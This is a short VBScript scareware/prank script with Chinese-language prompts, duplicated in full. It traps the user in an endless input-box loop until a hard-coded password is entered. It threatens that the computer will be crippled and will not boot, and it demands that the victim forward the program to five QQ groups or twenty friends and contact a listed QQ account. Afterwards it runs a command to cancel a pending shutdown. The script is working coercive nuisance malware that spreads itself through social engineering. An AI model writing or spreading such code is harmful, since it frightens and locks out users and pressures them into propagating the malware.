dim a
do while(a <> "chensisi")
a = inputbox ("速度转发给五个QQ群或者20个QQ好友、完事联系QQ1927914090)不然你也别想关掉、重启就让你开不开机,让你电脑瘫痪,不信你试试"" ","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈!关不掉的,快加。"
loop
msgbox chr(13) + chr(13) + chr(13) + "恭喜你解除成功,下次别在上当了"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "本软件由新世纪制作组制作"
do while(a <> "chensisi")
a = inputbox ("速度转发给五个QQ群或者20个QQ好友、完事联系QQ1927914090)不然你也别想关掉、重启就让你开不开机,让你电脑瘫痪,不信你试试"" ","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈!关不掉的,快加。"
loop
msgbox chr(13) + chr(13) + chr(13) + "恭喜你解除成功,下次别在上当了"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "本软件由新世纪制作组制作"